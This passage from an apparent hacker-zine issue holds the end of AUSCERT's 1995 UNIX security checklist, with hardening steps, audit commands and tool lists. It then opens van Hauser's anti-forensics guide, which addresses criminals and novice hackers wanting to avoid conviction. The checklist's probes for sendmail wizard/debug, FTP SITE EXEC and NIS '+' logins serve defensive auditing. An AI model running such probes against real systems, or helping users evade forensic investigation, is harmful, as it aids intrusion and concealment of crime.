which may be legitimate. Please check the manual pages for more information. * ENSURE that there are no unexpected special files outside /dev. See G.18 for a command to find any block special or character special files. 5.6 Files run by root AUSCERT recommends that anything run by root should be owned by root, should not be world or group writable and should be located in a directory where every directory in the path is owned by root and is not group or world writable. * CHECK the contents of the following files for the root account. Any programs or scripts referenced in these files should meet the above requirements: - ~/.login, ~/.profile and similar login initialisation files - ~/.exrc and similar program initialisation files - ~/.logout and similar session cleanup files - crontab and at entries - files on NFS partitions - /etc/rc* and similar system startup and shutdown files * If any programs or scripts referenced in these files source further programs or scripts they also need to be verified. 5.7 Bin ownership Many systems ship files and directories owned by bin (or sys). This varies from system to system and may have serious security implications. * CHANGE all non-setuid files and all non-setgid files and directories that are world readable but not world or group writable and that are owned by bin to ownership of root, with group id 0 (wheel group under SunOS 4.1.x). - Please note that under Solaris 2.x changing ownership of system files can cause warning messages during installation of patches and system packages. - Anything else should be verified with the vendor. 5.8 Tiger/COPS * Do run one or both of these. Many of the checks in this section can be automated by using these programs. * To obtain these programs, see B.2. 5.9 Tripwire * DO run statically linked binary * DO store the binary, the database and the configuration file on hardware write-protected media. * To obtain this program, see B.5. ============================================================================== 6.0 Vendor operating system specific security ============================================================================== The following is a list of security issues that relate to specific UNIX operating systems. This is not necessarily a complete list of available UNIX types or of problems for those that are listed. 6.1 SunOS 4.1.x 6.1.1 Patches * DO regularly ask your vendor for a complete list of patches. Sun regularly updates a list of recommended and security patches, which is available from: ftp://ftp.auscert.org.au/pub/mirrors/sunsolve1.sun.com/* or ftp://sunsolve1.sun.com/pub/patches/* 6.1.2 IP forwarding and source routing This is particularly relevant if you are using your SUN box as a bastion host or duel homed system. * ENSURE IP forwarding is disabled. You will need the following line in the kernel configuration file: options "IPFORWARDING=-1" For information on how to customise a kernel, see the file: /usr/sys/`arch`/conf/README * DO also consider disabling source routing. Leaving source routing enabled may allow unauthorised traffic through. Unfortunately there is no official method or patch for turning source routing off. There is however an unsupported patch. It is available via anonymous ftp from ftp://ftp.auscert.org.au/pub/mirrors/ftp.greatcircle.com/v03.n153.Z 6.1.3 Framebuffers /dev/fb If somebody can log in to your Sun workstation from a remote source, they can read the contents of your Framebuffer, which is /dev/fb. Sun provides a mechanism which allows the user logging in on the console to have exclusive access to the Framebuffer, by using the file /etc/fbtab. A sample /etc/fbtab file: # # File: /etc/fbtab # Purpose: Specifies that upon login to /dev/console, the # owner, group and permissions of all supported # devices, including the framebuffer, will be set to # the user's username, the user's group and 0600. # Comments: SunOS specific. # Note: You cannot use \ to continue a line. # # Format: # Device Permission Colon separated device list. # /dev/console 0600 /dev/fb /dev/console 0600 /dev/bwone0:/dev/bwtwo0 /dev/console 0600 /dev/cgone0:/dev/cgtwo0:/dev/cgthree0 /dev/console 0600 /dev/cgfour0:/dev/cgsix0:/dev/cgeight0 /dev/console 0600 /dev/cgnine0:/dev/cgtwelve0 # /dev/console 0600 /dev/kb:/dev/mouse /dev/console 0600 /dev/fd0c:/dev/rfd0c After the above file has been created, reboot your machine, or log out fully, then log back in again. Read the man page for fbtab(5) for more information. * The login replacement from Wietse Venema's logdaemon package supports a similar feature. (Refer to B.13 for information on how to retrieve the logdaemon package) 6.1.4 /usr/kvm/sys/* * ENSURE all files and directories under /usr/kvm/sys/ are not writable by group. In SunOS 4.1.4 the default mode is 2775 with group staff, allowing users in group staff to trojan the kernel. 6.1.5 /usr/kvm/crash * REMOVE setgid privileges on /usr/kvm/crash with the command: # /bin/chmod g-s /usr/kvm/crash A group of kmem allows users to read the virtual memory of a running system. 6.1.6 /dev/nit (Network Interface Tap) * DO run the CERT tool cpm to check if your system is running in promiscuous mode. For access details for cpm see B.6. * DO disable the /dev/nit interface if you do not need to run in promiscuous mode. - For SunOS 4.x and Solbourne systems, the promiscuous interface to the network can be eliminated by removing the /dev/nit capability from the kernel. Once the procedure is complete, you may remove the device file /dev/nit since it is no longer functional. - Apply "method 1" as outlined in the System and Network Administration manual, in the section, "Sun System Administration Procedures," Chapter 9, "Reconfiguring the System Kernel." Excerpts from the method are reproduced below: # cd /usr/kvm/sys/sun[3,3x,4,4c]/conf # cp CONFIG_FILE SYS_NAME [NOTE: that at this step, you should replace the CONFIG_FILE with your system specific configuration file if one exists.] # chmod +w SYS_NAME # vi SYS_NAME # # The following are for streams NIT support. NIT is used by # etherfind, traffic, rarpd, and ndbootd. As a rule of thumb, # NIT is almost always needed on a server and almost never # needed on a diskless client. # pseudo-device snit # streams NIT pseudo-device pf # packet filter pseudo-device nbuf # NIT buffering module [Comment out the 3 "pseudo-device" lines; save and exit the editor before proceeding.] # config SYS_NAME # cd ../SYS_NAME # make # mv /vmunix /vmunix.old # cp vmunix /vmunix # /etc/halt > b [This step will reboot the system with the new kernel.] [NOTE: that even after the new kernel is installed, you need to take care to ensure that the previous vmunix.old , or other kernel, is not used to reboot the system.] See CERT Advisory CA_94.01 (see C.8) 6.1.7 Loadable drivers option * DO remove the option for loadable modules from the kernel. This will mean that a rebuild of the kernel and a reboot will be necessary in order to load any additional kernel modules and intruders will be prevented from being able to load extra kernel modules dynamically. To remove this option, comment out the line options VDDRV # loadable modules from the kernel configuration file and re-compile the kernel. NOTE: Some software may expect to be able to load additional modules such as device drivers. NOTE: Even after the new kernel is installed, you need to take care to ensure that the previous vmunix.old , or other kernel, is not used to reboot the system. 6.1.8 NFS port monitoring * DO enable NFS port monitoring (see also section 2.6). Add the following commands to /etc/rc.local: /bin/echo "nfs_portmon/W1" | /bin/adb -w /vmunix /dev/kmem > \ /dev/null 2>&1 rpc.mountd 6.2 Solaris 2.x 6.2.1 Patches * DO regularly ask your vendor for a complete list of patches. Sun regularly updates a list of recommended and security patches, which is available from: ftp://ftp.auscert.org.au/pub/mirrors/sunsolve1.sun.com/* or ftp://sunsolve1.sun.com/pub/patches/* 6.2.2 IP forwarding and source routing This is particularly relevant if you are using your SUN box as a bastion host or duel homed system. * DO disable IP forwarding and source routing. To do this you will need to edit the file /etc/rc.2.d/S69.inet and set the options ip_forwarding and ip_ip_forward_src_routed to zero as illustrated below: ndd -set /dev/ip ip_forwarding 0 ndd -set /dev/ip ip_ip_forward_src_routed 0 For the changes to take effect you will then need to reboot. 6.2.3 Framebuffers /dev/fbs * Solaris versions 2.3 and above have a protection facility for framebuffers which is a superset of the functionality provided by /etc/fbtab in SunOS 4.1.x. * Under Solaris, /dev/fbs is a directory that contains links to the framebuffer devices. The /etc/logindevperm file contains information that is used by login(1) and ttymon(1M) to change the owner, group, and permissions of devices upon logging into or out of a console device. By default, this file contains lines for the keyboard, mouse, audio, and frame buffer devices. A sample /etc/logindevperm file: # # File: /etc/logindevperm # Purpose: Specifies that upon login to /dev/console, the # owner, group and permissions of all supported # devices, including the framebuffer, will be set to # the user's username, the user's group and 0600. # Comments: SunOS specific. # Note: You cannot use \ to continue a line. # # Format: # Device Permission Colon separated device list. # /dev/console 0600 /dev/kbd:/dev/mouse /dev/console 0600 /dev/sound/* # audio devices /dev/console 0600 /dev/fbs/* # frame buffers Read the man page for logindevperm(4) for more information. 6.2.4 NFS port monitoring * DO enable NFS port monitoring. To do this add the following lines to /etc/system: set nfs:nfs_portmon = 1 or in Solaris version 2.5 set nfssrv:nfs_portmon = 1 * See also section 2.6. 6.3 IRIX * DO regularly ask your vendor for a complete list of patches. * Some IRIX patches are available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.sgi.com/security/* or ftp://ftp.auscert.org.au/pub/mirrors/sgigate.sgi.com/* * DO read the FAQ on IRIX security. A copy can be obtained via anonymous ftp from ftp://ftp.auscert.org.au/pub/mirrors/ftp.uu.net/sgi/security.Z * For systems which do not have the chroot(1) command, use of chrootuid (see B.16) may be of assistance. * DO use the software tool rscan. It checks for many common IRIX-specific security vulnerabilities and problems. (Refer to B.11 for information on where to get a copy of rscan) 6.4 AIX * DO regularly ask your vendor for a complete list of patches. * Some AIX patches are available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/mirrors/software.watson.ibm.com /aix-patches 6.5 HP/UX * DO regularly ask your vendor for a complete list of patches. HP has set up an automatic server to allow patches and other security information to be retrieved via email. Email should be sent to the address support@support.mayfield.hp.com. The subject line of the message will be ignored. The body (text) of the message should be of the format send XXXX where XXXX is the identifier for the information you want retrieved. For example, to retrieve the patch PHSS_4834, the message would be send PHSS_4834. To receive the HP SupportLine mail service user's guide send guide.txt To receive the readme file for a patch send doc PHSS_4834 To receive the original HP bulletin send doc HPSBUX9410-018. HP also has a World Wide Web server to browse and retrieve bulletins and patches. The URL is: http://support.mayfield.hp.com/ 6.6 OSF * DO regularly ask your vendor for a complete list of patches. Some patches are available from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.service.digital.com /osf//ssrt* or ftp://ftp.service.digital.com/pub/osf//ssrt* where is the version of the operating system that you run. 6.7 ULTRIX * DO regularly ask your vendor for a complete list of patches. Some patches are available from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.service.digital.com /ultrix/

//ssrt* or ftp://ftp.service.digital.com/pub/ultrix/

//ssrt* where

is either mips or vax; and where is the version of the operating system that you run. ============================================================================== 7.0 Security and the X Window System ============================================================================== Access to your X server may be controlled through either a host- based or user-based method. The former is left to the discretion of the Systems Administrator at your site and is useful as long as all hosts registered in the /etc/Xn.hosts file have users that can be trusted, where "n" represents your X server's number. This may not be possible at every site, so a better method is to educate each and every user about the security implications (see references below). Better still, when setting up a user, give them a set of X security related template files, such as .xserverrc and .xinitrc. These are located in the users home directory. You are strongly advised to read the section on X window system security referred to in the X Window System Administrators Guide (C.4). 7.1 Problems with xdm Note: Release 6 of X11 is now available and solves many problems associated with X security which were present in previous releases. If possible, obtain the source for R6 and compile and install it on your system. See B.18 for how to retrieve the source for X11R6. * xdm bypasses the normal getty and login functions, which means that quotas for the user, ownership of /dev/console and possibly other preventive measures put in place by you may be ignored. * You should consult your vendor and ask about potential security holes in xdm and what fixes are available. * If you are running a version of xdm earlier than October 1995 then you should update to a newer version. (Refer to CERT Vendor-Initiated Bulletin VB-95:08, see C.8) 7.2 X security - General * DO Read the man pages for xauth and Xsecurity. Use this information to set up the security level you require. * ENSURE that the permissions on /tmp are set to 1777 (or drwxrwxrwt). i.e., the sticky bit should be set. The owner MUST always be root and group ownership should be set to group-id 0, which is "wheel" or "system". - If the sticky bit is set, no one other than the owner can delete the file /tmp/.X11-unix/X0, which is a socket for your X server. Once this file is deleted, your X server will no longer be accessible. - See G.14 for example commands to set the correct permissions and ownership for /tmp. * DO use the X magic cookie mechanism MIT-MAGIC-COOKIE-1 or better. With logins under the control of xdm (see 7.1), you can turn on authentication by editing the xdm-config file and setting the DisplayManager*authorize attribute to true. When granting access to the screen from another machine, use the xauth command in preference to the xhost command. * DO not permit access from arbitrary hosts. Remove all instances of the 'xhost +' command from the system-wide Xsession file, from user .xsession files, and from any application programs or shell scripts that use the X window system. ============================================================================== Appendix A: Other AUSCERT information sources A.1 AUSCERT advisories and alerts Past AUSCERT advisories and alerts can be retrieved via anonymous ftp from ftp://ftp.auscert.org.au/pub/auscert/advisory/ A.2 AUSCERT's World Wide Web server AUSCERT maintains a World Wide Web server. Its URL is http://www.auscert.org.au A.3 AUSCERT's ftp server AUSCERT maintains an ftp server with an extensive range of tools and documents. Please browse through it. Its URL is ftp://ftp.auscert.org.au/pub/ ============================================================================== Appendix B: Useful security tools There are many good tools available for checking your system. The list below is not a complete list, and you should NOT rely on these to do ALL of your work for you. They are intended to be only a guide. It is envisaged that you may write some site specific tools to supplement these. It is also envisaged that you may look around on ftp servers for other useful tools. AUSCERT has not formally reviewed, evaluated or endorsed the tools described. The decision to use the tools described is the responsibility of each user or organisation. B.1 Crack Crack is a fast password cracking program designed to assist site administrators in ensuring that users use effective passwords. Available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/cert/tools/crack/* B.2 COPS and Tiger These packages identify common security and configuration problems. They also check for common signs of intrusion. Though there is some overlap between these two packages, they are different enough that it may be useful to run both. Both are available via anonymous ftp. COPS: ftp://ftp.auscert.org.au/pub/cert/tools/cops/1.04 tiger: ftp://ftp.auscert.org.au/pub/mirrors/net.tamu.edu/tiger* B.3 anlpasswd This program is a proactive password checker. It runs a series of checks on passwords at the time users set them and refuses password that fail the tests. It is designed to work with shadow password systems. It is available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/mirror/info.mcs.anl.gov/* B.4 tcp_wrapper This software gives logging and access control to most network services. It is available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl /tcp_wrappers_7.2.tar.gz B.5 Tripwire This package maintains a checksum database of important system files. It can serve as an early intrusion detection system. It is available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/coast/COAST/Tripwire/* B.6 cpm cpm checks to see if your network interfaces are running in promiscuous mode. If you do not normally run in this state then it may be an indication that an intruder is running a network sniffer on your system. This program was designed to run on SunOS 4.1.x and may also work on many BSD systems. It is available via anonymous ftp from: ftp://ftp.auscert.edu.au/pub/cert/tools/cpm/* B.8 Vendor supplied security auditing packages Sun provides an additional security package called SUNshield. Please direct enquiries about similar products to your vendor. B.9 smrsh The smrsh(8) program is intended as a replacement for /bin/sh in the program mailer definition of sendmail(8). smrsh is a restricted shell utility that provides the ability to specify, through a configuration, an explicit list of executable programs. When used in conjunction with sendmail, smrsh effectively limits sendmail's scope of program execution to only those programs specified in smrsh's configuration. It is available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/cert/tools/smrsh Note: smrsh comes bundled with Eric Allman's sendmail 8.7.1 and higher. B.10 MD5 MD5 is a message digest algorithm. An implementation of this is available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/cert/tools/md5/* B.11 rscan This tool checks for a number of common IRIX-specific security bugs and problems. It is available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.vis.colostate.edu /rscan/* B.12 SATAN SATAN (Security Administrator Tool for Analysing Networks) is a testing and reporting tool that collects information about networked hosts. It can also be run to check for a number of vulnerabilities accessible via the network. It is available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl/satan* B.13 logdaemon Written by Wietse Venema, this package includes replacements for rsh and rlogin daemons. By default these versions do not accept wild cards in host.equiv or .rhost files. They also have an option to disable user .rhost files. logdaemon is available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl/logdaemon* B.14 portmapper/rpcbind These are portmapper/rpcbind replacements written by Wietse Venema that disallow proxy access to the mount daemon via the portmapper. Choose the one suitable for your system. They are available via anonymous ftp from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl /portmap_3.shar.Z ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl /rpcbind_1.1.tar.Z B.15 PGP Pretty Good Privacy implements encryption and authentication. It is available from: ftp://ftp.ox.ac.uk/pub/pgp/unix/ B.16 chrootuid Allows chroot functionality. The current version is 1.2 (at time of writing). Please check for later versions. It is available from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl /chrooduid1.2 A digital signature is available from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl /chrooduid1.2.asc B.17 CGIWRAP It is available from: ftp://ftp.cc.umr.edu/pub/cgi/cgiwrap B.18 X11R6 It is available from: ftp://archie.au/X11/R6/* ftp://archie.au/X11/contrib/* or ftp://ftp.x.org/pub/R6/* B.19 Washington University ftpd (wu-ftpd) This can log all events and provide users with a login banner and provide writable directory support in a more secure manner. It is available from: ftp://ftp.auscert.org.au/pub/mirrors/wuarchive.wustl.edu /packages/wuarchive-ftpd/* NOTE: Do not install any versions prior to wu-ftp 2.4 as these are extremely insecure and in some cases have been trojaned. Refer to the CERT advisory CA-94:07 (C.8). B.20 Patch 005 for BSD/386 v1.1. It is available from: ftp://ftp.auscert.org.au/pub/mirrors/ftp.bsdi.com /bsdi/patches/README ftp://ftp.auscert.org.au/pub/mirrors/ftp.bsdi.com /bsdi/patches/?U110-005 or ftp://ftp.bsdi.com/bsdi/patches/README ftp://ftp.bsdi.com/bsdi/patches/?U110-005 (where ? is B or S for the Binary or Source version) B.21 Anonymous FTP Configuration Guidelines The CERT document which addresses the many problems associated with writable anonymous ftp directories. It is available from: ftp://ftp.auscert.org.au/pub/cert/tech_tips/anonymous_ftp ============================================================================== Appendix C: References C.1 Practical UNIX Security Simson Garfinkel and Gene Spafford (C) 1991 O'Reilly & Associates, Inc. C.2 UNIX Systems Security Patrick Wood and Stephen Kochan (C) 1986 Hayden Books C.3 UNIX system security: A Guide for Users and System Administrators David A. Curry Addison-Wesley Professional Computing Series May 1992. C.4 X Window System Administrators Guide Chapter 4 (C) 1992 O'Reilly & Associates, Inc. C.5 Information Security Handbook William Caelli, Dennis Longley and Michael Shain (C) 1991 MacMillan Publishers Ltd. C.6 Firewalls and Internet Security William R. Cheswick & Steven M. Bellovin (C) 1994 AT&T Bell Laboratories Addison-Wesley Publishing Company C.7 Building Internet Firewalls Brent Chapman and Elizabeth Zwicky (C) 1995 O'Reilly & Associates, Inc. C.8 CERT advisories are available via anonymous FTP from ftp://ftp.auscert.org.au/pub/cert/cert_advisories/* CERT vendor-initiated bulletins are available via anonymous FTP from ftp://ftp.auscert.org.au/pub/cert/cert_bulletins/* C.9 UNIX System Administration Handbook (second edition) Evi Nemeth, Garth Snyder, Trent R. Hein and Scott Seebas Prentice-Hall, Englewood Cliffs (NJ), 1995 C.10 Essential System Administration Aeleen Frisch O'Reilly & Associates, Inc. C.11 Managing Internet Information Services Cricket Liu, Jerry Peek, Russ Jones, Bryan Buus, Adrian Nye O'Reilly & Associates, Inc. C.12 Managing NFS and NIS Hal Stern, O'Reilly and Associates, Inc., 1991 ============================================================================== Appendix D: Abbreviated Checklist It is intended that this short version of the checklist be used in conjunction with the full checklist as a progress guide (mark off the sections as you go so that you remember what you have done so far). 1.0 Patches [ ] Installed latest patches? 2.0 Network security [ ] Filtering [ ] "r" commands [ ] /etc/hosts.equiv [ ] /etc/netgroup [ ] $HOME/.rhosts [ ] NFS [ ] /etc/hosts.lpd [ ] Secure terminals [ ] Network services [ ] Trivial ftp (tftp) [ ] /etc/services [ ] tcp_wrapper (also known as log_tcp) [ ] /etc/aliases [ ] Sendmail [ ] majordomo [ ] fingerd [ ] UUCP [ ] REXD [ ] World Wide Web (WWW) - httpd 3.0 ftpd and anonymous ftp [ ] Versions [ ] Configuration [ ] Anonymous ftp only [ ] Configuration of your ftp server [ ] Permissions [ ] Writable directories [ ] Disk mounting 4.0 Password and account security [ ] Policy [ ] Proactive Checking [ ] NIS, NIS+ and /etc/passwd entries [ ] Password shadowing [ ] Administration [ ] Special accounts [ ] Root account [ ] .netrc files [ ] GCOS field 5.0 File system security [ ] General [ ] Startup and shutdown scripts [ ] /usr/lib/expreserve [ ] External file systems/devices [ ] File Permissions [ ] Files run by root [ ] Bin ownership [ ] Tiger/COPS [ ] Tripwire 6.0 Vendor operating system specific security [ ] SunOS 4.1.x [ ] Patches [ ] IP forwarding and source routing [ ] Framebuffers /dev/fb [ ] /usr/kvm/sys/* [ ] /usr/kvm/crash [ ] /dev/nit (Network Interface Tap) [ ] Loadable drivers option [ ] Solaris 2.x [ ] Patches [ ] IP forwarding and source routing [ ] Framebuffers /dev/fbs [ ] IRIX [ ] Patches [ ] AIX [ ] Patches [ ] HPUX [ ] Patches [ ] OSF [ ] Patches [ ] ULTRIX [ ] Patches 7.0 Security and the X Window System [ ] Problems with xdm [ ] X security - General ============================================================================== Appendix E: Shell Scripts E.1 Script for printing the umask value for each user. #!/bin/sh PATH=/bin:/usr/bin:/usr/etc:/usr/ucb HOMEDIRS=`cat /etc/passwd | awk -F":" 'length($6) > 0 {print $6}' | sort -u` FILES=".cshrc .login .profile" for dir in $HOMEDIRS do for file in $FILES do grep -s umask /dev/null $dir/$file done done ============================================================================== Appendix F: Table of operating systems by flavour Operating System SVR4-like BSD-like Other ------------------------------------------------------------------- | | | SunOS 4.1.x * | | | | Solaris 2.x * | | | | Solaris intel86 x.x * | | | | Irix x.x * | | | | HP/UX x.x * | | | | Ultrix x.x * | | | | OSF x.x * | | | | *BSD* x.x * | | | | Linux x.x * | | | | AIX x.x * | | | | SCO x.x * | | | ------------------------------------------------------------------- ============================================================================== Appendix G: List of commands by flavour Notes: 1. The commands given here are examples only. Please consult the manual pages for your system if you are unsure of the consequence of any command. 2. BSD-style commands are marked as BSD commands, similarly for SVR4. 3. Commands which are not labelled are expected to work for both. 4. Full directory paths and program options may vary for different flavours of UNIX. If in doubt, consult your vendor documentation. G.1 Restart inetd BSD commands # /bin/ps -aux | /bin/grep inetd | /bin/grep -v grep # /bin/kill -HUP SVR4 commands # /bin/ps -ef | /bin/grep inetd | /bin/grep -v grep # /bin/kill -HUP G.2 Ascertain which services are registered with the portmapper # /usr/bin/rpcinfo -p G.3 Rebuild alias maps # /usr/bin/newaliases If you run NIS (YP), you will then need to rebuild your maps to have the change take effect over all clients: # (cd /var/yp; /usr/bin/make aliases) G.4 Test whether sendmail wizard password is enabled % telnet hostname 25 wiz debug kill quit % You should see the response "5nn error return" (e.g., "500 Command unrecognized") after each of the commands 'wiz', 'debug' and 'kill'. Otherwise, your version of sendmail may be vulnerable. If you are unsure whether your version is vulnerable, update it. G.5 Set sendmail log level to 9 Include lines describing the log level (similar to the following two) in the options part of the general configuration information section of the sendmail configuration file: # log level OL9 The log level syntax changed in sendmail 8.7 to: # log level O LogLevel=9 G.6 Set syslog log level for mail messages Include lines describing the logging required (similar to the following two) in the syslog.conf file: mail.info /dev/console mail.info /var/adm/messages For the change to take effect, you must then instruct syslog to reread the configuration file. BSD commands Get the current PID of syslog: # /bin/ps -aux | /bin/grep syslogd | /bin/grep -v grep Then tell syslog to reread its configuration file: # /bin/kill -HUP SVR4 commands: Get the current PID of syslog: # /bin/ps -ef | /bin/grep syslogd | /bin/grep -v grep Then tell syslog to reread its configuration file: # /bin/kill -HUP NOTE: In the logs, look for error messages like: - mail to or from a single pipe ("|") - mail to or from an obviously invalid user (e.g., bounce or blah) G.7 (Rebuilding and) restarting sendmail(8) To rebuild the frozen configuration file, firstly do: # /usr/lib/sendmail -bz NOTE: The above process does not apply to sendmail v8.x which does not support frozen configuration files. To restart sendmail(8), you should kill *all* existing sendmail(8) processes by sending them a TERM signal using kill, then restart sendmail(8). BSD commands Get the pid of every running sendmail process: # /bin/ps -aux | /bin/grep sendmail | /bin/grep -v grep Kill every running sendmail process and restart sendmail: # /bin/kill #pid of every running sendmail process # /usr/lib/sendmail -bd -q1h SVR4 commands Get the pid of every running sendmail process: # /bin/ps -ef | /bin/grep sendmail | /bin/grep -v grep Kill every running sendmail process and restart sendmail: # /bin/kill #pid of every running sendmail process # /usr/lib/sendmail -bd -q1h G.8 Test whether ftpd supports SITE EXEC For normal users: % telnet localhost 21 USER username PASS password SITE EXEC For anonymous users: % telnet localhost 21 USER ftp PASS username@domainname.au SITE EXEC You should see the response "5nn error return" (e.g., "500 'SITE EXEC' command not understood"). If your ftp daemon has SITE EXEC enabled, make sure you have the most recent version of the daemon (e.g., wu-ftp 2.4). Older versions of ftpd allow any user to gain shell access using the SITE EXEC command. Use QUIT to end the telnet session. G.9 Ascertain whether anonymous ftp is enabled % ftp localhost Connected to localhost 220 hostname FTP server ready Name (localhost:username): anonymous 331 Guest login ok, send username as password Password: user@domain.au 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> G.10 Ensure that * in the password field is correctly implemented 1. Try using NIS with the '*' in the password field for example: +:*:0:0::: If NIS users cannot log in to that machine, remove the '*' and try the next test. 2. With the '*' removed, try logging in again. If NIS users can log in AND you can also log in unauthenticated as the user '+', then your implementation is vulnerable. Contact the vendor for more information. If NIS users can log in AND you cannot log in as the user '+', your implementation should not be vulnerable to this problem. G.11 Find .exrc files # /bin/find / -name '.exrc' -exec /bin/cat {} \; -print See also G.19. G.12 Locate and print .forward files # /bin/find / -name '.forward' -exec /bin/cat {} \; -print See also G.19. G.13 Remove execute permission on /usr/lib/expreserve # /bin/chmod 400 /usr/lib/expreserve G.14 Set ownership and permissions for /tmp correctly # /bin/chown root /tmp # /bin/chgrp 0 /tmp # /bin/chmod 1777 /tmp NOTE: This will NOT recursively set the sticky bit on sub-directories below /tmp, such as /tmp/.X11-unix and /tmp/.NeWS-unix; you may have to set these manually or through the system startup files. G.15 Find group and world writable files and directories # /bin/find / -type f \( -perm -2 -o -perm -20 \) -exec ls -lg {} \; # /bin/find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \; See also G.19. G.16 Find files with the SUID or SGID bit enabled # /bin/find / -type f \( -perm -004000 -o -perm -002000 \) \ -exec ls -lg {} \; See also G.19. G.17 Find normal files in /dev # /bin/find /dev -type f -exec ls -l {} \; See also G.19. G.18 Find block or character special files # /bin/find / \( -type b -o -type c \) -print | grep -v '^/dev/' See also G.19. G.19 Avoid NFS mounted file systems when using /bin/find # /bin/find / \( \! -fstype nfs -o -prune \) As an example, could be -type f \( -perm -004000 -o -perm -002000 \) -exec ls -lg {} \; ============================================================================== The AUSCERT team have made every effort to ensure that the information contained in this checklist is accurate. However, the decision to use the tools and techniques described is the responsibility of each user or organisation. The appropriateness of each item for an organisation or individual system should be considered before application in conjunction with local policies and procedures. AUSCERT takes no responsibility for the consequences of applying the contents of this document. AUSCERT acknowledges technical input and review of this document by CERT Coordination Center and DFN-CERT and comments from users of this document. Permission is granted to copy and distribute this document provided that The University of Queensland copyright is acknowledged. (C) Copyright 1995 The University of Queensland ============================================================================== If you believe that your system has been compromised, contact AUSCERT or your representative in FIRST (Forum of Incident Response and Security Teams). Internet Email: auscert@auscert.org.au AUSCERT Hotline: (07) 3365 4417 (International: + 61 7 3365 4417) Facsimile: (07) 3365 4477 AUSCERT personnel answer during business hours (AEST - GMT+10:00), on call after hours for emergencies. Australian Computer Emergency Response Team c/- Prentice Centre The University of Queensland Brisbane, Queensland 4072. Australia -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Finger pgp@ftp.auscert.org.au to retrieve AUSCERT's public key iQCVAwUBMNdrTih9+71yA2DNAQH9sQP/aWGDwRG80e4oz6pgeRRkzB25tm0D12ew 8zXBldNrbGC1s0h4U//G/WPNvWeF4Llr7GAAevTxwc8RMeDS9N3Aw5YTpPXaOE+x WSqHDEQfCwRgiOJc4sw3GA9r7/HYcwi81E06gNwmFTDU+IMmAiKCBisw/vNCnHS9 RztMITIV7is= =wZf1 -----END PGP SIGNATURE----- @HWA 42.0 Anonymizing UNIX systems by van Hauser [THC] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ---[ Anonymizing UNIX Systems ]--- version 0.7 Author: van Hauser / THC I. THE AUDIENCE II. GOAL III. PREREQUISITES IV. USER DATA 1. Sensitive user data 2. Protecting /home directories 3. Traceable user activity 4. Protecting /var/spool/mail/user files V. SYSTEM DATA 1. Sensitive system data 2. Traceable system activity 3. Logging - important and dangerous 4. Protecting system configs 5. Computer Memory and sensitive /proc interfaces VI. DELETE(D) DATA AND SWAP 1. How to delete files in a secure way 2. How to wipe free disk space 3. How to handle swap data 4. How to handle RAM 5. Temporary data - it is evil VII. NETWORK CONNECTIONS VIII. HIDING PRIVACY SETTINGS 1. Mount is your friend 2. Removable Medias 3. ??? IX. EXAMPLE CONFIGURATION AND SCRIPTS X. FINAL COMMENTS 1. Where to get the tools mentioned in this text 2. Additional thoughts 3. Greetings (what would the world be without greets?) 4. How to contact me for updates or comments -------------------- * I. THE AUDIENCE This text is for any human being out there who wishes to keep their data and doings private from any snooping eye - monitoring network traffic and stealing/accessing the computer including electronic forensics. Hackers, phreakers, criminals, members of democracy parties in totalitarian states, human rights workers, and people with high profiles might be interested in this information. It was especially written for novice hackers so they are not so easily convicted when busted for their early curiosity. Thanks to Solar Designer, Fyodor, typo, tick, pragmatic, mixter and doc holiday for comments, critics and ideas. Special thanks to rookie who had the original idea writing this paper but through personal problems couldn't do it himself. * II. GOAL Our goal is to provide solutions to the following statements: (1) The solution should be simple and easy (2) All user data should be inaccessible by anyone except their owner (3) Nobody should be able to reconstruct what is happening on the system Maybe you see contradictions ;-) * III. PREREQUISITES It is important to state the prerequisites for this project: - The system should be secure. No remote vulnerabilities (and hopefully no local ones either) - The system administator(s) must be trusted and willing to set this up - The operating system to achieve this is a UNIX Note that the solutions presented do not 100% fit internet servers. However it's (nearly, bah ;-) perfect for enduser systems. For the UNIX part, we show the solutions for Linux because it is the unix most easily for beginners to get their hands on and administrate. The Linux distribution we use is the SuSE Linux Distribution 6.0 Debian is better but more complicated for beginners. And I dislike redhat for it's missing security. You should know enough about unix (what is portmap, mount, rc2.d etc.) before trying to understand this text. It's *not* a Linux-Howto! * IV. USER DATA *** 1. Sensitive user data What is sensitive user data? Well *any* data from a user account. This includes: - utmp/wtmp/lastlog data (login times and duration plus login hosts) - history files (what commands you typed in your session) - your emails - temporary files from applications like mailers, browsers etc. - applications and their configuration - your own data (documents, porn pics, confidental data) - time stamps on your data (when were you accessing/editing which data) - on multiuser systems: what users CURRENTLY are doing.. this includes process listing, and network connections as well as utmp (which is already covered by another category). -> make proc more restrictive. We are trying to protect all this data. Note that utmp/wtmp/lastlog data and mail (mqueue/mail/fax/lpd) is handled in the SYSTEM DATA section. Note that all user accounts can be seen from /etc/passwd ;-) So maybe you'd like to add some/many fake accounts, together with homedirs and crypted data ... *** 2. Protecting /home directories Most important for protecting user data is protecting the users' /home directories. Each home directory must be encrypted with a strong cypher so that even with full physical access to the system the data can't be obtained. Currently I know of only one software provididing a solution to our requirements: CFS - the cryptographic filesystem. There are also some other crypto solutions available : TCFS, SFS and the loop filesystem with crypt support. They are faster but have got the disadvantage that you'll have to recompile your kernel with patches from these tools. So for the sake of easeness, 